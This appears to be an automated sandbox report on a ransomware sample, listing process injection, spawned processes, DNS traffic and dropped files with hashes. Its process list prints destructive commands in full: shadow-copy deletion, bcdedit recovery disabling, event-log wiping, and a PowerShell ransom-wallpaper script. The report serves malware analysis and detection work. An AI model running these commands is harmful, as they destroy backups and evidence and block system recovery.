Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2012 wrote to memory of 3748 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 3748 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 2404 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 2404 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 4660 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 4660 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 4544 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 4544 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 740 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 2012 wrote to memory of 740 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\SYSTEM32\cmd.exe
PID 3748 wrote to memory of 4324 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 3748 wrote to memory of 4324 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 4660 wrote to memory of 4260 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4660 wrote to memory of 4260 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 2404 wrote to memory of 7632 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 2404 wrote to memory of 7632 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\vssadmin.exe
PID 4544 wrote to memory of 9196 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 4544 wrote to memory of 9196 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\bcdedit.exe
PID 740 wrote to memory of 27372 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 740 wrote to memory of 27372 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2012 wrote to memory of 43924 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2012 wrote to memory of 43924 N/A C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 43924 wrote to memory of 43492 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 43924 wrote to memory of 43492 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\reg.exe
PID 43924 wrote to memory of 43064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe
PID 43924 wrote to memory of 43064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\rundll32.exe

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe

"C:\Users\Admin\AppData\Local\Temp\eba3a5a7171c68752065faeff30716844b53d14bba821bf33002189b64eda115.exe"

C:\Windows\SYSTEM32\cmd.exe

cmd /c wmic shadowcopy delete /nointeractive

C:\Windows\SYSTEM32\cmd.exe

cmd /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} recoveryenabled No

C:\Windows\SYSTEM32\cmd.exe

cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\SYSTEM32\cmd.exe

cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\System32\Wbem\WMIC.exe

wmic shadowcopy delete /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} recoveryenabled No

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\bcdedit.exe

bcdedit /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "$a = [System.IO.File]::ReadAllText(\"C:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;"

C:\Windows\system32\reg.exe

"C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\1513918393.png /f

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" user32.dll UpdatePerUserSystemParameters 0 False

Network

Country Destination Domain Proto
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 136.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 216.131.50.23.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
BE 88.221.83.249:443 www.bing.com tcp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 249.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 145.83.221.88.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/2012-0-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2012-1-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2012-3-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2012-7-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2012-6-0x0000000000401000-0x000000000049D000-memory.dmp

memory/2012-4-0x0000000000610000-0x0000000000611000-memory.dmp

memory/2012-8-0x0000000000400000-0x00000000004E5000-memory.dmp

C:\GET_YOUR_FILES_BACK.txt

MD5 36d08e3dadf813cefd755ba410908b16
SHA1 3ec7b14da6eaaf24f99be6c68301a6a7d05e6e5a
SHA256 4b38c6732593914ff892b2ed9fd337d4fa3cac8df096bae3fc532e606b3d1752
SHA512 8828d2f7cd763dfafff76f28ed990498a241ae6abace6fa7ce96060672216143d6c5a92eef8eacdf1060ae239c275571640328452b2e516ed90d8c14b245c52e

memory/2012-2-0x0000000000400000-0x00000000004E5000-memory.dmp

memory/2012-5-0x0000000000640000-0x0000000000683000-memory.dmp

memory/27372-16908-0x0000021427FB0000-0x0000021427FD2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fogknyz4.zwi.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2012-22633-0x0000000000401000-0x000000000049D000-memory.dmp

memory/2012-22631-0x0000000000400000-0x00000000004E5000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

memory/2012-22632-0x0000000000640000-0x0000000000683000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b